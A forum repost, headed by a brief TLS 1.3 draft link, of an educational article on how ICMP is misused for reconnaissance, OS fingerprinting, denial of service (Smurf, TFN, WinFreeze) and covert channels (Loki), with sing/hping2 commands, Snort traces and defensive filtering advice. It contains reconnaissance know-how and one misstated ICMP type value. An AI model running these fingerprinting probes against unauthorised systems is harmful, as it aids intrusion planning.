Nytro

[h=1]The Transport Layer Security (TLS) Protocol Version 1.3[/h] Abstract This document specifies Version 1.3 of the Transport Layer Security (TLS) protocol. The TLS protocol provides communications security over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. Sursa: draft-ietf-tls-rfc5246-bis-00 - The Transport Layer Security (TLS) Protocol Version 1.3

How can attacker use ICMP for reconnaissance? By: KoonYaw Tan 1. Introduction RFC 792 spelt out the goals and specifications of the Internet Control Message Protocol (ICMP). Basically, it is used as a means to send error messages for non-transient error conditions and to provide a way to query the network in order to determine the general characteristic of the network. The Internet Protocol (IP) is not designed to be absolutely reliable. The purpose of the ICMP messages is to provide feedback about problems in the communication environment, not to make IP reliable. There are still no guarantees that a datagram will be delivered or a control message will be returned. Some datagrams may still be undelivered without any report of their loss. The higher level protocols that use IP must implement their own reliability procedures if reliable communication is required. ICMP uses the basic support of IP as if it were a higher level protocol. However, ICMP is actually an integral part of IP and must be implemented by every IP module. ICMP suppose to be a relatively simple protocol, but it can be altered to act as a conduit for evil purpose. It is therefore important to understand how this protocol can be used for malicious purposes. This assignment examines how ICMP can be used in a non-convention way, putting itself as a potential threat. We will concentrate on the use of ICMP in a non-convention way rather than the normal use of ICMP. 2. Understanding ICMP Conventionally, ICMP is provided as a means to send error messages for non-transient error conditions and to provide a way to query the network. ICMP is used for two types of operations: Reporting non-transient error conditions (ICMP Error Messages). Query the network with request and reply (ICMP Query Messages). Unlike TCP and UDP, ICMP has no port numbers. ICMP uses type and code to differentiate the services in the protocol. Also in ICMP, there is no client-server concept. When an ICMP error message is delivered, the receiving host might respond internally but might not communicate back to the informer. Services and ports do not have to be activated or listening. ICMP can be broadcast to many hosts because there is no sense of an exclusion connection. RFC 792 defined special conditions for the ICMP messages: No ICMP error messages are sent in response to ICMP error messages to avoid infinite repetition. For fragmented IP datagrams, ICMP messages are only sent for errors on fragmented zero (the first fragment). ICMP error messages are never sent in response to a datagram that is destined to a broadcast or a multicast address. ICMP error messages are never sent in response to a datagram sent as a link layer broadcast. ICMP error messages are never sent in response to a datagram whose source address does not represents a unique host (the source address cannot be zero, a loopback address, a broadcast address or a multicast address). ICMP error messages are never sent in response to an IGMP message of any kind. When an ICMP message of unknown type is received, it must be silently discarded. Routers will almost always generate ICMP messages but when it comes to a destination host, the number of ICMP messages generated is implementation dependent. The ICMP has many messages that are identified by a “type” field. For each “type” field, there may also be a “code” field which acts as a sub-type. For example, echo reply has a type of 0 and code of 0 while echo request has a type of 0 and code of 8. The list of ICMP types and codes is available at: target="_blank">http://www.iana.org/assignments/icmp-parameters 3. Normal use of ICMP The Internet Control Message Protocol (ICMP) is used to handle errors and exchange control messages. ICMP can be used to determine if a machine on the Internet is responding. To do this, an ICMP echo request packet is sent to a machine. If a machine receives that packet, that machine will return an ICMP echo reply packet. A common implementation of this process is the "ping" command, which is included with many operating systems and network software packages. ICMP is used to convey status and error information including notification of network congestion and of other network transport problems. ICMP can also be a valuable tool in diagnosing host or network problems. Other RFCs have defined other functionalities for the ICMP: RFC 896 – Source Quench. RFC 950 – Address Mask Extensions. RFC 1191 – Path MTU Discovery. RFC 1256 – Router Discovery. RFC 1349 –Type of Service in the Internet Protocol Suite. 4. Use of ICMP – In a Non-Convention Way Ping traffic is ubiquitous to almost every TCP/IP based network and sub-network. It has a standard packet format recognized by every IP-speaking router and is used universally for network management, testing, and measurement. As such, many firewalls and networks consider ping traffic to be benign and will allow it to pass through. ICMP can be altered to act as conduit for evil purposes. Some of the ways that ICMP can be used for purposes other than the intended ones are: Reconnaissance Denial of Service Covert Channel 4.1 Reconnaissance Reconnaissance is the first stage in the information gathering process to discover live hosts and some other essence information as part of most planned attack. ICMP messages are broadly categorized into two kinds: [TABLE=width: 90%, align: center] [TR] [TD=class: h5invert, colspan: 2, align: center]ICMP Messages[/TD] [/TR] [TR] [TD=class: h3invert, width: 50%, align: center]ICMP Query Messages[/TD] [TD=class: h3invert, width: 50%, align: center]ICMP Error Messages[/TD] [/TR] [TR] [TD] Echo Request and Echo Reply Time Stamp Request and Reply Information Request and Reply Address Mask Request and Reply[/TD] [TD] Destination Unreachable Source Quench Redirect Time Exceeded Parameter Problem[/TD] [/TR] [/TABLE] By manipulating these ICMP messages, we are able to gather substantial information in the process of information gathering: Host Detection Network Topology ACL Detection Packet Filter Detection OS Fingerprinting 4.1.1 Host Detection and Network Topology By using ICMP message, it allows one to identify hosts that are reachable, in particular from the Internet. Traceroute attempts to map network devices and hosts on a route to a certain destination host. Intelligence use of it will allow one to map the topology of a network. 4.1.2 Access Control List (ACL) Detection ICMP Error Messages may help to determine the kind ACL of the filtering device is being used and allow one to choose the tactics accordingly. The idea is to manipulate the total length of the IP Header Field. A crafted packet with total length in the IP Header Filed claiming to be bigger than really what it is. When this packet reaches the host, it will try to grab the data from the area, which is not there. The host will thus issue an ICMP Parameter Problem back to the querying IP address. If there is a packet filtering device present and we probe a targeted network with all possible combination of protocols and services, it will allow us to determine the access control list of the filtering device (which host is allowed to received what type of traffic). The crafted packet can use ICMP, TCP or UDP as the underlying protocols. 4.1.3 Protocol/Port Scan ICMP Error Messages (Protocol/Port Unreachable) are the common ways to determine what type of protocols/ports the host is running. Nmap 2.54 beta 1 has integrated the Protocol Scan. It sends raw IP packets without any further protocol header (no payload) to each specified protocol on the target machine. If an ICMP Protocol Unreachable error message is received, the protocol is not in used. 4.1.4 OS Fingerprinting Using ICMP for OS Fingerprinting requires less traffic initiation from the malicious person machine to the target host. The idea is “Which operating system answer what kind of ICMP Query messages”. This is possible because different OS implement differently. Some do not compliant strictly to RFC, while RFC may also optional. Fingerprinting of OS can be achieved via the following: Using ICMP Query Messages Using ICMP Error Messages The ICMP Echo Request/Reply pair was intended to determine whether a host is alive or not. Negative response will either mean it is not alive or ICMP Echo traffic is filtered by a packet filtering device. The ICMP Information Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time to allow them to discover their network address. The ICMP Time Stamp Request/Reply pair allows a host to query another for the current time. This allows a sender to determine the amount of latency that a particular network is experiencing. Most operation systems implemented the ICMP Time Stamp Request/Reply. The ICMP Address Mask Request/Reply pair was intended for diskless systems to obtain its subnet mask in use on the local network at bootstrap time. It is also used when a host wants to know the address mask of an interface. RFC 1122 states that the Address Mask is optional. At times, the ICMP Error Messages revealed substantial information about the host or network. For example, receiving a Protocol Unreachable will reveal that the host is alive and that particular protocol queried is not supported. By manipulating certain field in the query, we can generate several ICMP Error Messages. In [1], the author has done a comprehensive research on the use of ICMP in OS fingerprinting. Based on the nature of the different implementation of OS, substantiate information can be gathered using different techniques in manipulating the ICMP messages and observe the response of the target host. The techniques are listed below: Response on ICMP Query Messages Types on a targeted host Response on ICMP Query Messages Types on a broadcast address IP TTL value on the ICMP Messages (Request and Reply) Response on ICMP Query Messages with Code Field ? 0 Response on the ICMP Query Messages with Precedence Bits value ? 0 Response on the ICMP Query Messages with TOS value ? 0 Response on the ICMP Query Messages with TOS unused bit = 1 Response on the ICMP Query Messages with Reserved Bit Flag = 1 Response on the ICMP Query Messages with DF set ICMP Error Message echoing integrity with ICMP Port Unreachable Error Message A detailed tabulation can be obtained in [1]. We extracted some results and conduct some fingerprint on the following operating systems: Solaris Linux Windows Family (Win 98/NT/2000) 4.1.4.1 Fingerprinting HPUX 10.20, Solaris and Linux Figure 1 shows an example the technique of fingerprinting HPUX 10.20, Solaris and Linux operating systems. Using SING tool [9], we run through the process of fingerprinting: ICMP Time Stamp Request targeted at broadcast address: We first generated an ICMP Time Stamp Request to the whole segment x.x.x.255. # sing -tstamp x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 20 data bytes 20 bytes from x.x.x.64: seq=0 ttl=255 TOS=0 diff=88364 20 bytes from x.x.x.215: seq=0 ttl=255 TOS=0 diff=0 (DUP!) 20 bytes from x.x.x.1: seq=0 ttl=255 TOS=0 diff=51332009 (DUP!) 20 bytes from x.x.x.2: seq=0 ttl=255 TOS=0 diff=55541589 (DUP!) 20 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 diff=-127012 (DUP!) Note that x.x.x.1 and x.x.x.2 is the network switch devices which we will not discussed here. Also x.x.x.215 is the IP address of the machine running sing and hping2 tools. x.x.x.64 and x.x.x.239 response to the ICMP Time Stamp Request targeted at broadcast address x.x.x.255. Note that their responded TTL is 255, which is a typically response TTL from Unix system. These two machines could then be Sun Solaris, Linux or HPUX 10.20. The Snort trace: 07/26-09:33:46.281306 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x36 x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST 23 31 00 00 00 55 D9 A9 00 00 00 00 00 00 00 00 #1...U.......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.281488 0:50:BA:C0:61:99 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.64 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:55 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 57 32 D5 00 57 32 D5 #1...U...W2..W2. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.282107 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38831 IpLen:20 DgmLen:40 DF Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 53 E9 85 00 53 E9 85 #1...U...S...S.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Information Request targeted at broadcast address We then generated an ICMP Information Request to the same segment x.x.x.255. # sing -info x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 8 data bytes --- x.x.x.255 sing statistic --- 200 packets transmitted, 0 packets received, 100% packet loss No machine response to this request. We can conclude that x.x.x.64 and x.x.x.239 is either Sun Solaris or Linux machine. The Snort trace: 07/26-09:43:56.721478 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 00 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:43:57.713811 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 01 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Address Mask Request targeted at single host Lastly, we generated an ICMP Address Mask Request to the two specific IP addresses, x.x.x.64 and x.x.x.239: # sing -mask x.x.x.64 SINGing to x.x.x.64 (x.x.x.64): 12 data bytes --- x.x.x.64 sing statistics --- 10 packets transmitted, 0 packets received, 100% packet loss x.x.x.64 did not response. We can therefore conclude that x.x.x.64 is a Linux machine. The Snort trace: 07/26-09:49:06.544282 0:80:C7:C0:E2:DB -> 0:50:BA:C0:61:99 type:0x800 len:0x2E x.x.x.215 -> x.x.x.64 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5F 31 00 00 00 00 00 00 _1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request to x.x.x.239: # sing -mask x.x.x.239 SINGing to x.x.x.239 (x.x.x.239): 12 data bytes 12 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=1 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=2 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=3 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=4 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=5 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=6 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=7 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=8 DF! ttl=255 TOS=0 mask=255.255.255.0 --- x.x.x.239 sing statistics --- 9 packets transmitted, 9 packets received, 0% packet loss x.x.x.239 response to Address Mask Request. It is therefore running Sun Solaris. The Snort trace: 07/26-09:48:52.177080 0:80:C7:C0:E2:DB -> 8:0:20:FD:AE:90 type:0x800 len:0x2E x.x.x.215 -> x.x.x.239 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5E 31 00 00 00 00 00 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:48:52.177292 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38853 IpLen:20 DgmLen:32 DF Type:18 Code:0 ADDRESS REPLY 5E 31 00 00 FF FF FF 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 4.1.4.2 Fingerprinting Windows Family (95/98/ME/NT/20000) Figure 2 shows an example of fingerprinting the Windows Family. We run through the process of fingerprinting using NMAP [11], HPING2 [10] and SING [9]. Windows Family typically response ICMP Echo Reply with a TTL value of 128. The first thing will then to determine the live host with ICMP ECHO Reply of TTL = 128. By using nmap, three IP addresses are identify with TTL ~ 128: Machine 1: x.x.x.41 Machine 2: x.x.x.183 Machine 3: x.x.x.69 Using the above methodology, for machine 1 (x.x.x.41), we have: ICMP Echo Request with Code Field ? 0 We first send a ICMP Echo Request with Code Field ? 0 (Value = 77) # hping2 -1 -c 1 -K 77 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29120 rtt=1.8 ms It responded with Code field = 0. Therefore, it belongs to Windows Family. Snort trace: 07/26-16:23:28.745427 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x0 ID:46193 IpLen:20 DgmLen:28 Type:8 Code:77 ID:61445 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:28.746064 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29120 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61445 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request We next send an ICMP Time Stamp Request. # sing -tstamp -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 20 data bytes 20 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 diff=1650412099* It also responded. It can then be Windows 98, ME or 2000. Snort trace: 07/26-16:23:46.368947 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST F1 05 00 00 01 CD 37 C0 00 00 00 00 00 00 00 00 ......7......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:46.369418 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29376 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY F1 05 00 00 01 CD 37 C0 E4 2C 82 03 E4 2C 82 03 ......7..,...,.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 We next send an ICMP Echo Request with TOS Unused Bit = 1. # hping2 -1 -o 1 -c 1 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29632 rtt=0.8ms It replied with the same TOS value. As Windows 2000 will reply with a TOS value of 0, we can conclude that this machine can be either Windows 98 or ME. Snort trace: 07/26-16:24:04.098715 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x1 ID:4907 IpLen:20 DgmLen:28 Type:8 Code:0 ID:61957 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:04.099161 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x1 ID:29632 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61957 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request Finally, we check the response when requesting the address mask. # sing -mask -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 12 data bytes 12 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 mask=255.255.255.0 It responded. So we can conclude this machine is Windows 98. Snort trace: 07/26-16:24:32.851707 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST F3 05 00 00 00 00 00 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:32.852143 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:30400 IpLen:20 DgmLen:32 Type:18 Code:0 ADDRESS REPLY F3 05 00 00 FF FF FF 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ For machine 2 (x.x.x.183): ICMP Echo Request with Code Field ? 0 When an ICMP Echo Request with Code Field = 77 is send to this machine, it responded with Code Field = 0, suggesting that it belongs to the Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7030 rtt=17.8 ms Snort trace: 07/26-16:07:06.186426 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x0 ID:37429 IpLen:20 DgmLen:28 Type:8 Code:77 ID:56325 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:06.203810 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7030 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56325 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request It also responded to ICMP Time Stamp Request, suggesting that it can be Windows 98, ME or 2000. # sing -tstamp -c 1 x.x.x.183 SINGing to x.x.x.183 (x.x.x.183): 20 data bytes 20 bytes from x.x.x.183: seq=0 ttl=119 TOS=0 diff=1247439485* Snort trace: 07/26-16:07:29.668839 x.x.x.10 -> x.x.x.183 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST DD 05 00 00 01 BE 50 84 00 00 00 00 00 00 00 00 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:29.683450 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7032 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY DD 05 00 00 01 BE 50 84 CC 18 BB 01 CC 18 BB 01 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 When it received an ICMP Echo Request with TOS Unused Bit = 1, it responded with TOS Unused Bit = 0. Therefore, we concluded that it is a Windows 2000 machine. # hping2 -1 -o 1 -c 1 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7060 rtt=187.4 ms Snort trace: 07/26-16:08:06.142181 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x1 ID:56666 IpLen:20 DgmLen:28 Type:8 Code:0 ID:56837 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:08:06.329204 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7060 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56837 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Finally for machine 3 (x.x.x.69): ICMP Echo Request with Code Field ? 0 It responded to an ICMP Echo Request with Code Field ? 0, confirming that it belongs to Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.69 HPING x.x.x.69 (eth0 x.x.x.69): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.69: icmp_seq=0 ttl=128 id=58126 rtt=2.2 ms Snort trace: 07/26-16:37:25.892705 x.x.x.215 -> x.x.x.69 ICMP TTL:64 TOS:0x0 ID:11485 IpLen:20 DgmLen:28 Type:8 Code:77 ID:64005 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:37:25.893486 x.x.x.69 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:58126 IpLen:20 DgmLen:28 Type:0 Code:0 ID:64005 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request When ICMP Time Stamp Request is sent to it, this time, it did not respond. Using the methodology, we concluded that it can be either a Windows 95 or Windows NT. # sing -tstamp x.x.x.69 SINGing to x.x.x.69 (x.x.x.69): 20 data bytes --- x.x.x.69 sing statistic --- 86 packets transmitted, 0 packets received, 100% packet loss Snort trace: 07/26-16:37:46.867499 x.x.x.215 -> x.x.x.69 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST FB 05 00 00 01 DA 0A F3 00 00 00 00 00 00 00 00 ................ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ We thus see that intelligence use of ICMP Messages could reveal substantial information about a host. 4.2 Denial of Service (DoS) Using ICMP as a means to cause DoS is not new. CERT/CC has issued an advisory on Denial of Service via Ping in 1996 (CA-1996-26). Ping of Death is one of the common uses of ICMP to cause a machine to crash. Here we mentioned some other well-known DoS using ICMP as a means. 4.2.1 Smurf DoS The infamous Smurf attack preys on ICMP’s capability to send traffic to the broadcast address. Many hosts can listen and response to a single ICMP echo request sent to a broadcast address. This capability is used to execute a DoS attack. The two main components to the smurf denial-of-service attack are the use of forged ICMP echo request packets and the direction of packets to IP broadcast addresses. In the "smurf" attack, attackers are using ICMP echo request packets directed to IP broadcast addresses from remote locations to generate denial-of-service attacks. There are three parties in these attacks: the attacker, the intermediary, and the victim (note that the intermediary can also be a victim). The intermediary receives an ICMP echo request packet directed to the IP broadcast address of their network. If the intermediary does not filter ICMP traffic directed to IP broadcast addresses, many of the machines on the network will receive this ICMP echo request packet and send an ICMP echo reply packet back. When (potentially) all the machines on a network respond to this ICMP echo request, the result can be severe network congestion or outages. When the attackers create these packets, they do not use the IP address of their own machine as the source address. Instead, they create forged packets that contain the spoofed source address of the attacker's intended victim. The result is that when all the machines at the intermediary's site respond to the ICMP echo requests, they send replies to the victim's machine. The victim is subjected to network congestion that could potentially make the network unusable. More detailed description of Smurf attack can be found in [5]. 4.2.2 Tribe Flood Network (TFN) The Tribe Flood Network (TFN) attack is another DoS attack that uses ICMP for communication. TFN is made up of client and daemon programs, which implement a distributed network denial of service tool capable of waging ICMP flood, SYN flood, UDP flood, and Smurf style attacks. The attacker(s) control one or more clients, each of which can control many daemons. The daemons are all instructed to coordinate a packet-based attack against one or more victim systems by the client. Communication from the TFN client to daemons is accomplished via ICMP Echo Reply packets. Each "command" to the daemons is sent in the form of a 16-bit binary number in the ID field of an ICMP Echo Reply packet (The sequence number is a constant 0x0000, which would make it look like the response to the initial packet sent out by the "ping" command). This is to prevent the kernel on the daemon system from replying with an ICMP Echo Reply packet. The daemon then responds (if need be) to the client(s), also using an ICMP Echo Reply packet. The payload differs with TFN, as it is used for sending command arguments and replies. Some network monitoring tools do not show the data portion of ICMP packets, or do not parse all of the various ICMP type-specific fields, so it may be difficult to actually monitor the communication between client and daemon. A detailed analysis of TFN can be found in [6]. 4.2.3 WinFreeze WinFreeze is a DoS attack against Windows. A small exploit code that can cause a Windows 9x/NT box on the local LAN to freeze completely. The program initiates ICMP/Redirect-host messages storm that appears to come from a router (by using the router's IP). The Windows machine will receive redirect host messages causing it to change its own routing table. This will make it get stuck, or operate very slowly until a reboot is done. 4.3 Covert Channel Many firewalls and networks consider ping traffic to be benign and will allow it to pass through. Use of ping traffic can open up covert channels through the networks in which it is allowed. 4.3.1 Loki The concept of the Loki is simple: arbitrary information tunneling in the data portion of ICMP Echo Request and ICMP Echo Reply packets. Loki exploits the covert channel that exists inside of ICMP Echo traffic. ICMP Echo packets have the option to include a data section. This data section is used when the record route option is specified, or, the more common case, (usually the default) to store timing information to determine round-trip times. Although the payload is often timing information, there is no check by any device as to the content of the data. So, as it turns out, this amount of data can also be arbitrary in content as well. Therein lies the covert channel. Most network devices do not filter the contents of ICMP Echo traffic. They simply pass them, drop them, or return them. The trojan packets themselves are masqueraded as common ICMP Echo traffic. If a host is compromised and a Loki server is installed, it can response to traffic send to it by a Loki client. Because the programs use ICMP Echo Reply packets for communication, it will be very difficult (if not impossible) to block it without breaking most Internet programs that rely on ICMP. With a proper implementation, the channel can go completely undetected for the duration of its existence. Detection can be difficult. If you know what to look for, you may find that the channel is being used on your system. However, knowing when to look, where to look, and the mere fact that you should be looking all have to be in place. A surplus of ICMP Echo Reply packets with a garbled payload can be ready indication the channel is in use. More information on the Loki project can be obtained in [7]. 5. Filtering ICMP Traffic and the Challenge for the IDS Network devices requires ICMP Messages for communications. ICMP is a protocol that is supposed to be used to alert hosts of problem conditions or exchange messages. However, using it in a malicious manner allows one to dig out host information and network topology. To use a Network Intrusion Detection System to actively monitor the network for malicious ICMP traffic is laborious. Given this, appropriate filtering of ICMP traffic should be done to minimize the potential threat. It is therefore important to understanding how operating systems response to ICMP Messages. This will allow us to determine what type of ICMP Messages should only be allow in and out of the network. With appropriate configuration of the packet filtering device to block unnecessary ICMP Messages, potential threats resulting from ICMP Messages can be reduced. This, however, should be done wisely and selectively. For example, incoming “ICMP Error Message, Fragmentation Needed but Don’t Fragment Set”, will be necessary to inform the internal host on such errors and to adjust the datagrams accordingly. Even with proper filtering of ICMP traffic, NIDS should still be deployed to monitor the kind of ICMP activities. The challenge of the NIDS will be have accurate signatures to detect malicious ICMP traffic. Host-based IDS is another option. Nevertheless, it still needs “inputs” to monitor the traffic accurately. Ultimately, human will be required to perform the final analysis of the IDS detects to determine whether detects are legitimate or hostile. References: [1] Ofir Arkin, ICMP Usage in Scanning – The Complete Know How, ??????????? [2] Stephen Northcutt and Judy Novak, Network Intrusion Detection [3] ICMP Parameters Internet Control Message Protocol (ICMP) Parameters [4] RFC 792 Internet Control Message Protocol http://www.ietf.org/rfc/rfc0792.txt [5] Craig Huegen, The Latest in Denial of Service Attacks: 'Smurfing': Description and Information to Minimize Effects, http://www.pentics.net/denial-of-service/white-papers/smurf.cgi [6] David Dittrich, The “Tribe Flood Network” Distributed Denial of Service Attack Tool, http://staff.washington.edu/dittrich/misc/tfn.analysis [7] Loki Project, http://www.phrack.org/show.php?p=49&a=6 [8] RFC 1122 Requirements for Internet Hosts – Communication Layers, http://www.ietf.org/rfc/rfc1122.txt [9] SING utility, SING | Free System Administration software downloads at SourceForge.net [10] HPING2 utility, hping2 | Free Home & Education software downloads at SourceForge.net [11] NMAP, 